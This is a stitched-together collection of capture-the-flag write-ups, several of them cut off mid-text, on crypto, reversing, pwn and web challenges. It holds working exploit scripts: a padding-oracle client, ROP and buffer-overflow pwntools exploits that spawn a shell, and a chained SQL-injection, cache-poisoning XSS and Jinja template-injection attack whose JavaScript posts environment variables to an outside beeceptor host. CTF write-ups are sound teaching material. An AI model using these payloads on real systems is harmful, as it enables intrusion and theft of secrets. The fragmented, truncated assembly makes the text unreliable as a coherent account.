`LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}` |
The exact recipe of what I did: Let $ p = x^{2} + 1337 $, $ q = y^{2} + 1187 $, $ (z^{2} + 1337)(z^{2} + 1187) - n = 0 $.Then, you can solve for $x$, $y$, $p$, and $q$ based on \\[ xy = \sqrt{n - 1337\cdot 1187 - 1187z^{2} - 1337z^{2}} + \mathrm{diff} \\]\\[ 1187x^{2} + 1337y^{2} = n - 1337 \cdot 1187 - (xy)^{2} \\]where diff ranges from $-10000$ to $10000$.
|
### Summary1. If you enter an invalid name, you can leak the pie address and libc address in the stack.2. Filling the every value will result in a 4 byte overflow and can overwrite fd.3. FSOP |
# Cargo delivery
There is given a server and its source code, from which we can get the encrypted flag. Also, it tells us if the padding for provided ciphertext is valid.So, the first thing in mind is the padding oracle attack. We used an automated exploit for it and just wrote the transport. This exploit can be found by the following link: https://github.com/mwielgoszewski/python-paddingoracle.
```Pythonfrom pwn import *from paddingoracle import BadPaddingException, PaddingOracleimport jsonfrom binascii import hexlify, unhexlifyfrom Crypto.Cipher import AESclass PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.io = remote("docker.hackthebox.eu", 30155) self.wait = kwargs.get('wait', 2.0) def get_encrypted_flag(self): self.io.recvuntil("2. Send your encrypted message.\n") self.io.sendline("1") return self.io.recvline() def oracle(self, data): while True: try: self.io.recvuntil("2. Send your encrypted message.\n") self.io.sendline("2") self.io.recvuntil("Enter your ciphertext:\n") s = data s = hexlify(data) self.io.sendline(s) out = self.io.recvline() log.info(out) if b"Invalid ciphertext" in out: raise BadPaddingException return except (socket.error, socket.gaierror, socket.herror, socket.timeout) as e: print(str(e))if __name__ == '__main__': padbuster = PadBuster() data = unhexlify(padbuster.get_encrypted_flag().strip()) print(data) iv = data[:AES.block_size] enc = data[AES.block_size:] print(iv) print(enc) dec = padbuster.decrypt(enc, block_size=AES.block_size, iv=iv) print(dec)```
The result of the code execution can be seen on the Figure 1.
Figure 1 – The result of the code execution
Flag: HTB{CBC_0r4cl3}. |
If we visit the address, we will be greeted with what looks to be the source code for the page ?```
```
If we trust that this is the actual code, then it looks like passing `file` as a query parameter might get us somewhere. In fact, this looks like an open invitation towards a [`directory travesal attack`](https://owasp.org/www-community/attacks/Path_Traversal). Only one problem - strings including `..` will not give us much, thanks to the `strpos()` check.
We do get another clue that becomes significant: `Locked down with version control`. Right, so is this an exposed git-repository?
```$ curl http://challenges.ctfd.io:30595/.git/
<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1>You don't have permission to access this resource.<hr><address>Apache/2.4.38 (Debian) Server at challenges.ctfd.io Port 30595</address></body></html>```
You don't have permission to access this resource.
So `403 Forbidden` - just what we wanted to see! Well, we can't read the folder - but can we read the logs?
```$ curl http://challenges.ctfd.io:30595/.git/logs/HEAD0000000000000000000000000000000000000000 862ff4b638b509e5fe354d3a93e49712f0684887 Sucks At <[email protected]> 1615233879 +0000 commit (initial): not including flag directory 1a2220dd8c13c32e in the version control system```
Seems the commit message might have what we are after `flag directory 1a2220dd8c13c32e`. So lets try it!
```curl http://challenges.ctfd.io:30595/?file=/1a2220dd8c13c32e/flag.txtUDCTF{h4h4_suck3rs_i_t0tally_l0ck3d_th1s_down}..plus a bunch of HTML that is irrelevant to us right now :)..```
|
# MCnu
Rev
### DescriptionDo me a favor and meditate on the possibilities after you've solve this.I also would love to see a solution using mc86 itself...[Challenge source](https://gist.github.com/AndyNovo/6c6318393631e8ac6f999ef6aa1a7c07)Our mc86 problems introduce a new vanilla Minecraft CPU (java edition).It helps to have Java Edition Minecraft but if you don't they can still be solved the old fashioned way.Here is a video introducing the architecture and the book to build the CPU:[mc86 Intro on YouTube](https://www.youtube.com/watch?v=mqOSgJ0NM_Q)[mc86 init book](https://gist.github.com/AndyNovo/657ff15b7614f70e34f7295cb3dd7a8f)Author: ProfNinja
### Solution
#### Extracting codeFirst, we read the code and realise that there is a whole chunk that does not get usedWe extract it and format it in Sublime Text, before copying it to a Minecraft Book
#### Getting the binaryFirst, we run the book and notice that it generates a wall of white and black concreteWe also get a hint that it is an ELF file, and that the header is \x7fELF, and that it translates to 0111 1111 in binaryWe look and confirm that indeed, the white concrete represents 0 and black concrete represents 1Thus, we create a [python script](./Assets/MCnu.py) to "rebuild" the structure in 1s and 0s
#### Changing to .ELFWe then take the binary output, and convert it to hexWe use a hex editor to create the [.ELF file](./Assets/mcnu.elf), and from there, we run it to get the flag
> UDCTF{yall_w0rk3d_h4rd_4_it} |
We are sent to this website: http://challs.dvc.tf:5555/I we press CTRL+U to go to the source code of the webpage and my eyes pop when we see this:
<script>var _0x562c=['179dYsldU','502577NKwytj','49301uPrsBV','%64%76%43%54%46%7b%31%74%5f%69%73%5f%6e%30%74%5f%34%5f%73%65%63%72%33%74%5f%34%6e%79%6d%30%72%33%7d','41567Xaicqe','getElementById',...(there is more but its not important)</script>
You can see that they saved some code at the Client-Side and just encrypted it somehow, I see this wired long statment: "%64%76%43%54%46%7b%31%74%5f%69%73%5f%6e%30%74%5f%34%5f%73%65%63%72%33%74%5f%34%6e%79%6d%30%72%33%7d"
And it look like hex(base 16) and kinda like the size of a flag, I went to https://www.rapidtables.com/convert/number/hex-to-ascii.html to convert it from hex to ASCII and I found the flag
dvCTF{1t_is_n0t_4_secr3t_4nym0r3}
|
### THE LIST
> Points: 452>> Tags: Binary Exploitation, Buffer Overflow >> Author: @M_alpha#3534>> Descrption: We need you to compile a list of users for the event. Here's a program you can use to help.>
### 4nalysis*Static Analysis*- As usual lets check the file type and the backend codingstrcspn- The file is a `dynamically linked` and `not stripped` file written in `c`- Check the for the `imports` and `strings` in the binary. Well I have to admit `strcspn` looked new and intresting- Looking it up online this is a function is `C` that : assume strscpn(str1, str2). If str2 is found in str1 this function willreturn the number letters before `str2` get it :)- `checksec` show us `no pie` therefore the function addresses are not randomized.- No other new or interesting import lets dive in to the favourite part using the debugger.
*Dynamic Analysis*
- Load you favourite debugger and lets get started. This will be an easy binary to anaylse since there binary is `not stripped` and its dynamically linked.- There are a couple of functions in the binary
**give_flag**
- This is a function that gives the flag therefore we should find a way to call it.
**Main**- This is the entry function and as seen we allocated `0x200` space for local variable and `memset` is used to fill up the buffer with `0`'s- It then prompts us for our name and uses `strcspn` to find `\n` in the stringwhich will be replaced by a null byte. This happens because `fgets` that is used to read in input appends a new line at the end.- It then presents us with a menu where we can add, delete and change names and exit.
**Menu**
- This is used to print the menu.
**Add User**
- This is used to add a user on the stack. Our input ends up on the `0x200` space that was allocated earlier.- This function also does some checks before adding a user of the stack.```1. It adds each users at an offset of 32 bytes. This is done using the opcode `shl rax, 0x5`2. Before adding a user it check if the region in memory starts with a null byte.3. There are no limits we can add upto as many users as we want. Can we use this privillegeand cause a buffer overflow. Well we'll see later.4. `strcspn` is also used to eliminate a `\n` character and `fgets` is used to get our inputbut it only allows `0x20` characters.```
**Print Users**
- This is used to print users from the buffer allocated earlier.- The maximum number of users that can be printed is `0xf` - It iterates through the offset of 32 byte from the buffer to find users.- If there is a null byte at the start of the buffer then is assumes there are no more users and exists.
**Delete User**- This is used to delete a user in that it replaces the buffer with null bytes.- It then calls a function `shift back` that is used to shift back a user into the previous buffer that was deleted.
**change_uname**- This alows us to change the user name of the user.- It takes an index and we can edit that buffer win our new user.- On amazing thing is that this function uses fgets to get our input but the maxnumber of bytes is `0x50` which is diffrent from the usual `0x20` in the add_user function.- Therefore this is where the vulnerability lies.
## Exploit
- We have to add users and fill the buffer so that we can edit a user and overflow to the control rip.- But there is a problem. `add_user` function checks for a `null` byte at the beginning ofa buffer to add a user.- To mitigate this remember the first prompt. `Enter your name`. Filling this buffer with `0x20` bytes `strcspn` will replace the last buffer with a null byte and since this region lies in the 32 byte offset our input will go here.- We can then edit the value at this region and since `edit` allows us to enter 0x50 bytes we can therefore overflow the saved pointer and call `give_flag` function.- Final exploit [exploit](exploit.py)
|
# compUDer
Check out our brand new computer!
`nc challenges.ctfd.io 30525`
Attachments:* [vm.out](./vm.out)
## SolutionOpened the binary in Ghidra, after some clearup (Rename and Retype variable), we got
### Main Function```cvoid main(void){ // Some Initialisation fib_mem((long)arr_flag,0x20); fwrite("VM $ ",1,5,stderr); vm_loop = false; while (!vm_loop) { __isoc99_scanf("%ld",&ins;; if (7 < ins) return; __isoc99_scanf("%ld",&x); is_reg_valid((uint)x); __isoc99_scanf("%ld",&a); is_reg_valid((uint)a); __isoc99_scanf("%ld",&b); is_reg_valid((uint)b); switch(ins) { case 0: stack[x] = stack[b] + stack[a]; break; case 1: stack[x] = stack[a] - stack[b]; break; case 2: stack[x] = stack[b] * stack[a]; break; case 3: stack[x] = stack[b] & stack[a]; break; case 4: stack[x] = stack[b] | stack[a]; break; case 5: if (0x43 < x) return; stack[x] = arr_flag[stack[a]]; break; case 6: if (0x43 < x) return; arr_flag[stack[x]] = stack[a]; break; case 7: vm_loop = true; break; default: return; } } flag_chk = 0; do { if (32 < flag_chk) { local_150 = fopen("flag.txt","r"); if (local_150 != (FILE *)0x0) { while( true ) { iVar2 = getc(local_150); if ((char)iVar2 == -1) break; putchar((int)(char)iVar2); } fclose(local_150); } return; } if (arr_flag[flag_chk] != arr_flag[flag_chk + 33]) { puts("Incorrect."); return; } flag_chk = flag_chk + 1; } while( true );}```
So we are given a VM binary. The constraint of the equations are:- Instruction value < 8- Operands value < 6
The VM:```OPC Out a b--------------0 x a b ; stack[x] = stack[a] + stack[b]1 x a b ; stack[x] = stack[a] - stack[b]2 x a b ; stack[x] = stack[a] * stack[b]3 x a b ; stack[x] = stack[a] & stack[b]4 x a b ; stack[x] = stack[a] | stack[b]5 x a b ; stack[x] = arr_flag[stack[a]]6 x a b ; arr_flag[stack[x]] = stack[a]7 x a b ; exit VM```
I used gdb dynamic debugging to leak the initial stack
```0x00000000 | 00x00000000 | 10x00000000 | 20x00000000 | 30x00000000 | 40x00000001 | 5```
1st 33 values of `arr_flag` is initialized with fibonacci values. We need to make the next 33 values as same as the 1st ones to get the flag, like this:
```pyfor i in range(33): arr_flag[33+i] = arr_flag[i]```
So my solution was:- Init a value to 33(say `i`)- Loop 33 times in the following way,(say loop var `x`) - Copy arr_flag[x] to stack - set arr_flag[x+i] from the stack - Increase value of (x+i) - Increase i
Script [here](./solve.py)
```sh$ python solve.py[+] Opening connection to challenges.ctfd.io on port 30525: Done[*] Init [i][*] Set arr_flag[i]FLAG!!! UDCTF{r3v3rs!nG_cUst0m_VMs_1s_3Z}```
## Flag> UDCTF{r3v3rs!nG_cUst0m_VMs_1s_3Z} |
# watman
http://challenges.ctfd.io:30039/
## Solution
Java Script source:```javascriptvar $flagin = document.getElementById("flagme");var $clickme = document.getElementById("done");$clickme.addEventListener("click", function(){ (async()=>{ const response = await fetch("checker.wasm"); const file = await response.arrayBuffer(); const wasm = await WebAssembly.instantiate(file); const {memory, flagChecker} = wasm.instance.exports;
const encode = function stringToIntegerArray(string, array) { for (let i = 0; i < string.length; i++) { array[i] = string.charCodeAt(i); } };
const plaintext = $flagin.value; const myArray = new Int32Array(memory.buffer,0,plaintext.length);
encode(plaintext, myArray); console.log(myArray);
let result = flagChecker(myArray.byteOffset, 128, 257); if (result === 0) { document.getElementById("msg").innerText = "Nice work, you figured out the flag!"; document.getElementById("watman").src = "mel.jpg"; } else { document.getElementById("msg").innerText = "Keep trying!"; } })();});```So I dumped the wasm binary with the help of Chrome Developer Tools. Then used `wasm2c` to get the header and source C files. Then compiled to a C binary for better analysis (`gcc -O3 source.c wasm-rt-impl.c`).
### `flagChecker` Function```c__int64 __fastcall w2c_flagChecker(unsigned int a1, int a2, int a3){ int v3; // ebx int v5; // er9 int v6; // eax bool v7; // r11 unsigned int v8; // edi __int64 v9; // r8 int v10; // edx __int64 result; // rax int v12; // eax
v3 = wasm_rt_call_stack_depth++; if ( (unsigned int)wasm_rt_call_stack_depth > 0x1F4 ) wasm_rt_trap(7); v5 = *(_DWORD *)(w2c_memory + a1); v6 = a2 * v5; if ( !a3 ) wasm_rt_trap(3); v7 = a3 == -1; if ( v6 == 0x80000000 && a3 == -1 ) {LABEL_12: wasm_rt_call_stack_depth = v3; result = 1LL; } else { v8 = a1 + 4; v9 = 0LL; v10 = v6 % a3; result = 1LL; if ( v10 == 86 ) { do { v12 = v5 & 1; v5 = *(_DWORD *)(w2c_memory + v8); a2 = (v12 == 0 ? 2 : 0) + a2 - 1; if ( v5 * a2 == 0x80000000 && v7 ) { if ( *(_DWORD *)(w2c_memory + 4 * v9 + 1028) ) goto LABEL_12; } else if ( v5 * a2 % a3 != *(_DWORD *)(w2c_memory + 4 * v9 + 1028) ) { goto LABEL_12; } ++v9; v8 += 4; } while ( v9 != 27 ); wasm_rt_call_stack_depth = v3; result = 0LL; } else { wasm_rt_call_stack_depth = v3; } } return result;}```Implemention of the same in python will roughly look like:```pyflag = []enc_flag = [0x56, 0x9b, 0x5f, 0x83, 0xde, 0xbe, 0x45, 0x65, 0xe9, 0xb1, 0x51, 0xcf, 0x7f, 0xd5, 0x71, 0x35, 0xaa, 0x5e, 0x19, 0xda, 0xd9, 0x9e, 0x19, 0xf9, 0x48, 0xda, 0x43, 0xdb]
v10 = flag[0]v11 = 128 * v10v8 = 128mod_val = 257
for i in range(1,28): v16 = v10 & 1; tmp = flag[i] v10 = tmp if(v16 == 0): v4 = 1 else: v4 = -1 v8 += v4 v13 = v8 * tmp enc_flag[i] == v13 % mod_val```
Solver script in python [here](./solve.py)
## Flag> UDCTF{wh0a_w4sm_i5_lit_y4l1} |
# Entropy
If you can find a 12-eye you can do this...
Attachments:* [entropy](./entropy)
## SolutionOpened the binary in Ghidra, after some clearup (Rename and Retype variable), we got
### Main Function```cvoid main(int argc,char **argv){ // Variable initialisations local_20 = *(long *)(in_FS_OFFSET + 0x28); puts(argv[1]); to_xor = *(ulong *)argv[1] & 0xffffffffffff; printf("%lu\n",to_xor); i = 0; for ( i = 0; i < 100; ++i ) { enc_func[i] ^= FUN_001006fa(&to_xor); i = i + 1; } if (to_xor == 0xfd94e6e84a0a) { puts("looking good"); } (*(void (**)(void))enc_func)(); return;}```
### `FUN_001006fa` Function```culong FUN_001006fa(ulong *x){ *x = *x * 0x5deece66d + 0xb & 0xffffffffffff; return *x;}```
So I just implemented the logic in z3 and it returned `[x = 79427706059334]` or x = `Fz44=H`. Script [here](./solve.py)
Running it gives```$ ./entropy Fz44=HFz44=H79427706059334looking good[1] 31409 segmentation fault (core dumped) ./entropy Fz44=H```
So my input was right but there was some other error... Analyzing in gdb I see that the instructions wasn't execuatble in memory.
Ultimately it executes write syscall with the flag.```0x555555601020: xor rbx,rbx0x555555601023: push rbx0x555555601024: push 0x7d3074700x555555601029: push 0x7972635f0x55555560102e: push 0x76756c5f0x555555601033: push 0x7961735f0x555555601038: push 0x495f6e340x55555560103d: push 0x635f74340x555555601042: push 0x68777b460x555555601047: push 0x544344550x55555560104c: mov rax,0x10x555555601053: mov rdi,0x10x55555560105a: mov rsi,rsp0x55555560105d: mov rdx,0x400x555555601064: syscall ```
## Flag> UDCTF{wh4t_c4n_I_say_luv_crypt0} |
## Tiny Tim (123 points)
### Description
Full red? Can't be that bad.
### Gathering information
We are given a rather small binary. Let's check it's protections with `checksec`:
``` Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000)```
It is convenient to use `objdump` to analyze it. Here is the output of `objdump -d -M intel tiny_tim`
```tiny-tim: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <secret0>: 401000: 58 pop rax 401001: c3 ret
0000000000401002 <secret1>: 401002: 5e pop rsi 401003: c3 ret
0000000000401004 <secret2>: 401004: 5f pop rdi 401005: c3 ret
0000000000401006 <secret3>: 401006: 5a pop rdx 401007: c3 ret
0000000000401008 <vuln>: 401008: 55 push rbp 401009: 48 89 e5 mov rbp,rsp 40100c: 48 83 ec 20 sub rsp,0x20 401010: 48 89 e6 mov rsi,rsp 401013: 48 31 c0 xor rax,rax 401016: 48 31 ff xor rdi,rdi 401019: ba 00 02 00 00 mov edx,0x200 40101e: 0f 05 syscall 401020: b8 00 00 00 00 mov eax,0x0 401025: 48 83 c4 20 add rsp,0x20 401029: 5d pop rbp 40102a: c3 ret
000000000040102b <_start>: 40102b: 55 push rbp 40102c: 48 89 e5 mov rbp,rsp 40102f: b8 00 00 00 00 mov eax,0x0 401034: e8 cf ff ff ff call 401008 <vuln> 401039: 48 31 f8 xor rax,rdi 40103c: b8 3c 00 00 00 mov eax,0x3c 401041: 0f 05 syscall 401043: 90 nop 401044: 5d pop rbp 401045: c3 ret ```
We can notice in the `vuln` function that there is a buffer overflow.The function allocates 0x20 bytes on the stack (`sub rsp, 0x20`) but then executes a read syscall of 0x200 bytes.
As the NX (not executable stack) protection is on, we need to execute a ropchain.
We can also notice that we have some helper functions called secretX. It wouldn't be possible, to the extend of my knowledge, to exploit the binary without those.
### Exploitation
The following script gets the job done by changing the permission of the program memory page to `rwx`, then reading some shellcode to execute and jumping into it.
```python#!/usr/bin/env python3
from pwn import *
HOST = "challenges.ctfd.io"PORT = 30017
exe = ELF("./tiny-tim")rop = ROP(exe)
context.binary = execontext.log_level = "debug"
def conn(): if args.LOCAL: return process([exe.path]) else: return remote(HOST, PORT)
def main(): io = conn()
# good luck pwning :)
# ---------------- GADGETS ---------------- # pop_rax = 0x0000000000401000 # pop rax; ret; pop_rdi = 0x0000000000401004 # pop rdi; ret; pop_rsi = 0x0000000000401002 # pop rsi; ret; pop_rdx = 0x0000000000401006 # pop rdx; ret; syscall = 0x0000000000401041 # syscall; nop; pop rbp; ret; # ---------------- EXPLOIT ---------------- #
# execve('/bin/sh', NULL, NULL) with shellcode shellcode = shellcraft.sh() log.info(shellcode) shellcode = asm(shellcode)
stdin = 0 shellcode_position = 0x400000
# Note: # We are setting the registers in the following way # based on the calling convention of x86_64 # https://www.systutorials.com/x86-64-calling-convention-by-gcc/
# Change memory page starting at 0x400000 to be rwx # mprotect(0x400000, 0x1000, 7) rop.raw(pop_rdi) rop.raw(shellcode_position) rop.raw(pop_rsi) rop.raw(0x1000) rop.raw(pop_rdx) rop.raw(7) # 7 = 00000111 base 2 = rwx permissions rop.raw(pop_rax) rop.raw(0xa) # mprotect syscall number (https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) rop.raw(syscall) # execute syscall rop.raw(0) # this gets popped after the syscall
# Write shellcode to the mprotected page # read(stdin, 0x400000, len(sc)) rop.raw(pop_rdi) rop.raw(stdin) rop.raw(pop_rsi) rop.raw(shellcode_position) rop.raw(pop_rdx) rop.raw(len(shellcode)) rop.raw(pop_rax) rop.raw(0) # read syscall number (https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) rop.raw(syscall) # execute syscall rop.raw(0) # this gets popped after the syscall
# Jump into shellcode rop.raw(shellcode_position)
# Send exploit padding = b'A'*40 payload = padding payload += rop.chain()
io.send(payload) io.send(shellcode)
# Profit io.interactive()
if __name__ == "__main__": main()```
It was also be possible to execute a ropchain to write the string '/bin/sh' to memory and to execute execve('/bin/sh', NULL, NULL) using the string we wrote. This would have worked even if the mprotect syscall was somehow blocked, provided that we had some writable memory.
### The Flag
We can then `cat flag.txt` and get the flag: `UDCTF{sy5t3m_3ngage!}` |
## beef-of-finitude (100)
### Description> Fun for all ages
> challenges.ctfd.io:30027
### Gathering informationWe are given an executable and a remote service to exploit.
Let's inspect the binary.
```console> file bof.outbof.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0a74e270e67dbd80d4fbed7d3fc1dfda9f48fee4, for GNU/Linux 3.2.0, not stripped```The binary is not stripped and with `nm` we can already see some interesting functions:
```console> nm bof.out...0804c034 B flag...08049405 T main0804934e T myFun...08049236 T win...```
Let's check for security measures:
```console> checksec bof.out Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```No Stack canaries and PIE, this could be an easy buffer overflow if we have a vulnerable function.
By looking at the binary symbols or by running the program with `ltrace` we can see that the user input is taken via `fgets`.
`fgets` reads in at most one less than the specified argument of characters from a stream and stores them into the specified buffer.
We are *lucky* since the guard is way to high to prevent a buffer overflow on the array where our input will be saved.
Let's inspect the binary in `Ghidra` to see if we can gather more information about the previously seen functions.
*myFun*:
```cvoid myFun(void){ char second_buffer[10]; char first_buffer[16]; int var_to_change = 7;
puts("Enter your Name: "); fgets(first_buffer, 16, stdin); puts("Enter your password: "); fgets(second_buffer, 336, stdin); if (var_to_change == -0x21524111) // 0xdeadbeef { flag = 1; puts("Wow you overflowed the right value! Now try to find the flag !\n"); } else { puts("Try again!\n"); } return;}```
And *win*:
```cvoid win(uint param_1,uint param_2,uint param_3,uint param_4){ char flag_buffer [256]; FILE *file_ptr;
if ((((param_2 | param_1 ^ 0x14b4da55) == 0) && ((param_3 ^ 0x67616c66 | param_4) == 0)) && (flag == 1)) { file_ptr = fopen("./flag.txt","r"); if (file_ptr == (FILE *)0x0) { puts("flag.txt not found - ping us on discord if this is happening on the shell server\n"); } else { fgets(flag_buffer,0x100,file_ptr); printf("flag: %s\n",flag_buffer); } return; } puts("Close, but not quite.\n"); exit(1);}```
So, as an high level overview, we need to:
1. Trigger a buffer overflow2. Rewrite the variable checked against `0xdeadbeef` on the `myFun` function3. Rewrite the instruction pointer to redirect the execution to the `win` function4. Set the right arguments to pass the if-statement and trigger the `fopen` call
### ExploitationWe can write a script with `pwntools` to exploit the remote server:
```python#!/usr/bin/env python3
from pwn import *
e = context.binary = ELF("./bof.out")io = remote("challenges.ctfd.io", 30027)
OFFSET_TO_VAR = 41OFFSET_TO_IP = 12
pad_1 = b"A" * OFFSET_TO_VARpad_2 = b"A" * OFFSET_TO_IP
stack_frame = p32(e.symbols["win"]) stack_frame += p32(e.symbols["exit"])stack_frame += p32(0x14b4da55) # param_1stack_frame += p32(0) # param_2stack_frame += p32(0x67616c66) # param_3stack_frame += p32(0) # param_4info(f"{stack_frame = }")
payload = pad_1 + p32(0xdeadbeef) + pad_2 + stack_frameinfo(f"{payload = }")
io.sendline(payload)io.recvuntil(b"flag:")flag = io.recvline().strip().decode()io.close()
success(f"{flag = }")```
### The Flag`UDCTF{0bl1g4t0ry_buff3r_ov3rflow}`
### ConclusionThis challenge neatly demonstrates a simple buffer overflow, with an overwriting of a local variable and passing parameters to a function to get our flag. |
# AgentTesterV2 WriteUpThe challenge was an updated version of the **AgentTester** challenge, thats why i'll only summarize some of the already known steps. The challenges differ because the passwords are hashed now and we can't just login anymore.
# Challenge SetupThe websites provides an input form which lets you test a user agent.The functionality is hidden behind a login but we can register new accounts. Since we have the source code we know that the flag is stored inside an environment variable.
We also know from the previous challenge that we can gain code execution once we reach the **/debug** endpoint with admin privileges.
# Issueing arbitrary requestsThe site uses puppeteer to open a browser and issue requests to google.com with our selected user-agent.If you solved the first challenge then you know that there is a sql-injection reachable via the user-agent input.
```python query = db.session.execute("SELECT userAgent, url FROM uAgents WHERE userAgent = %s'" % uAgent).fetchone()```
In the first challenge we could simply get the admin password by entering:
```' Union Select GROUP_CONCAT(password) as 'userAgent', 'https://example.com' as 'url' FROM user --```
In the updated version this approach does not work since the **passwords are hashed now**.```python bcrypt.hashpw(password.encode(), current_salt).decode()```The sqli now returns "$2b$12$ROJ9y4KrrNx7PiKaOh9lmOPnRBnQfkedGq4r4jWa.Vp/SYQYD8E/e" and I did not even bother to crack it.
We can still use the sqli to set an arbitrary location/user-agent for the browser to visit:
```' Union Select 'asdf' as 'userAgent', 'https://ghjkl.free.beeceptor.com' as 'url```
By setting the url to a beeceptor url we can see the headers and body that the browser has set, but there is nothing interesting to see since the cookie has a domain set and it isn' accessible by javascript either.
```javascript const cookies = [{ 'name': 'auth2', 'value': '<REDACTED>', 'domain': base_url, 'httpOnly': true }];```We have blind SSRF which isn't currently of any use. :(
# Failed attemptsI tried letting the puppeteer browser (which has the admin cookie set) visit various pages but found nothing of use.After a while I noticed that since its headless browser and not just a request that is issued that i can let the admin visit a site that I created and execute arbitrary javascript on my page.
When thinking of client side attacks the first thing that comes to mind is XSS.So I tried looking for reflected xss in the success/error parameters of the login page, but no luck since jinja escapes malicious characters.
The second thing I thought of was **CSRF**. I can simply let send a post request to the **/debug** endpoint and gain code execution.I know that CORS blocks the response of the post call but I could still exfiltrate data using curl.
```javascript var first = new XMLHttpRequest(); var maliciousurl = 'http://challenge.nahamcon.com:30612/debug'; first.open('POST', maliciousurl); first.withCredentials = true; first.onload = reqListener; first.send("code={{request.application.__globals__.__builtins__.__import__('os').popen('curl https://ghjkl.free.beeceptor.com').read()}}");```
After trying for some time and different variations of the payload I admitted to myself that this wasn't the correct route and took a break.I don't exactly know why it faild either flask or chromes same-site per default.
# Self XSS + Web Cache PoisoningThe next day I decided look at the **nginx.conf**.The thing that caught my attention almost immediatly was:```proxy_cache_key $request_uri$http_user_agent;```
If you haven't been living under a rock the last year you have read @albinowax research on webcache poisoning:https://portswigger.net/web-security/web-cache-poisoning
Since the cache key consists of **url + useragent** every request to a profile url with a specific user-agent is cached for 10 seconds.
The first thing I tried was letting the admin visit the url **http://challenge.nahamcon.com:31220/profile/1** (1 is the admin id) with **user-agent: asdf**
Then I issued the a request to the same url with the same user-agent.
```curl -H "Cookie: auth2=eyJpZCI6Mn0.YE3nwQ.1VKe6fgmTWvSNy5B-VWTRlGQN4M" http://challenge.nahamcon.com:31220/profile/1 -A asdf```
It worked I got the cached response with the admin email: [email protected] and about field, but the profile does not contain anything interesting to work with.
After a while I came to the conclusion that I can let the admin visit the cached version of my own profile and I began searching for an Self-XSS.The first and spimplest payload I tried worked: ```"><script>alert(1)</script>```
Now I knew what I had to do: - Xss myself and send a request to the debug endpoint- Let nginx cache the site with a specific user agent- Let the admin visit my profile with that user agent- Admin sends the post request to the /debug endpoint and code execution
My first attempt of the xss payload:```javascriptvar first = new XMLHttpRequest();var maliciousurl = 'http://challenge.nahamcon.com:31220/debug';first.open('POST', maliciousurl);first.withCredentials = true;first.onload = reqListener;first.send("code={{request.application.__globals__.__builtins__.__import__('os').popen('getenv').read()}}");
function reqListener() { var exfiltraterequest = new XMLHttpRequest(); var maliciousurl = 'https://asdfg.free.beeceptor.com/result'; exfiltraterequest.open('POST', maliciousurl); exfiltraterequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); exfiltraterequest.send('responsehtml=' + encodeURIComponent(String(this.responseText)));};```### Code executionThe rce part is the same as in AgentTesterV1 the **/debug** endpoints renders an in the body provided template string.```python code = request.form.get("code", "<h1>Safe Debug</h1>") return render_template_string(code)```Its common knowlege that you can gain code execution by rendering a string with an injected template, just google **jinja template injection**.
```{{request.application.__globals__.__builtins__.__import__('os').popen('getenv').read()}}```
This payload executes the command **getenv** and the post request then returns all environment variables which also contains our flag.
I base64 encoded the xss payload went to my profile and inserted:
```"><script>eval(atob("base64_encoded_payload"))</script>```
I fiddled around with the xss payload for a while till the request to the debug endpoint worked correctly in my browser and I decided to use fetch (because I was too stupid to get the XMLHttpRequest post to work :/ ). The first success was when I saw a request on my beeceptor url on the /result endpoint, but the response html was just the string "Safe Debug".
## Final xss payload```javascriptfetch("/debug",{ method: "POST", headers: {"content-type": "application/x-www-form-urlencoded" } body: data}).then(function(res){ res.text().then(e=>{ var exfiltraterequest = new XMLHttpRequest(); var maliciousurl = 'https://asdfg.free.beeceptor.com/result'; exfiltraterequest.open('POST', maliciousurl); exfiltraterequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); exfiltraterequest.send('responsehtml=' + encodeURIComponent(String(this.responseText)));})```
After making sure that the xss attack works on my end I was ready to cache the response and serve it to the admin.
Making sure the response for my profile is cached:
**curl -H "Cookie: auth2=eyJpZCI6Mn0.YE3nwQ.1VKe6fgmTWvSNy5B-VWTRlGQN4M" http://challenge.nahamcon.com:31220/profile/2 -A asdf**
After this request my profile is now cached for the user-agent asdf for 10 seconds.
Enter input for user Agent Test:```' Union Select 'asdf' as 'userAgent', 'http://challenge.nahamcon.com:31220/profile/2' as 'url```
After sending this request he puppeteer browser starts visits my profile with the user-agent and gets serverd the cached xss payload.
After a few seconds I saw a request to the /result endpoint on my beeceptor endpoint and I was so happy when I saw that the body contained all the environment variables now just look for the **CHALLENGE_FLAG** variable to get the flag.
This was my first writeup so if you have any questions or suggestions you can reach me on twitter [@alkiiis](https://twitter.com/alkiiis) |
На данном сервисе присутствует уязвимость "HTTP request smuggling". При подстановке в заголовок Transfer-Encoding спец. символа, который не будет обработан HAProxy (например \x0c), но будет обработан Gunicorn сервером, произойдет рассинхронизация, что позволит вставить в чужой запрос свои строки. |
This chall was irritating, however not that hard.1. After long time combining given binary code I accidentally opened them up in windows notepad where i have `line wrapping` on which created similar to something image. |
# RUN! (930 pts)
This challenge was a keygenme for Windows (64-bit PE), and like all keygenmes you had to understand the algorithm and write a keygen for it.
The algorithm was "simple", you just had to deal with C++ overhead for std::string, and was basically: - The programs take the username and computes the sum of each char of the username (with some SSE2 wizardry) - This sum is then given as seed to srand() - The user serial is split into 2-char blocks, and each block is decoded as hex string and the integer is added to an array - The program then searches the highest value in the decoded serial array and allocated a int array with this size - The array is filled with rand() values `mod 13371337` - A valid serial is a sequences of indexes into the random array whose sum is equals to `0xbcdb6 mod 1337`
So, the tricky part was to generate this sequence of indexes. Since I wanted to generate a valid serial for any input (instead of bfing the seed value to find "nice" values), I had to "bruteforce" any possible sum until I found the correct sum with the given seed.
And since that sequence could be quite long, I used a "meet-in-the-middle" algorithm, where I basically did this:
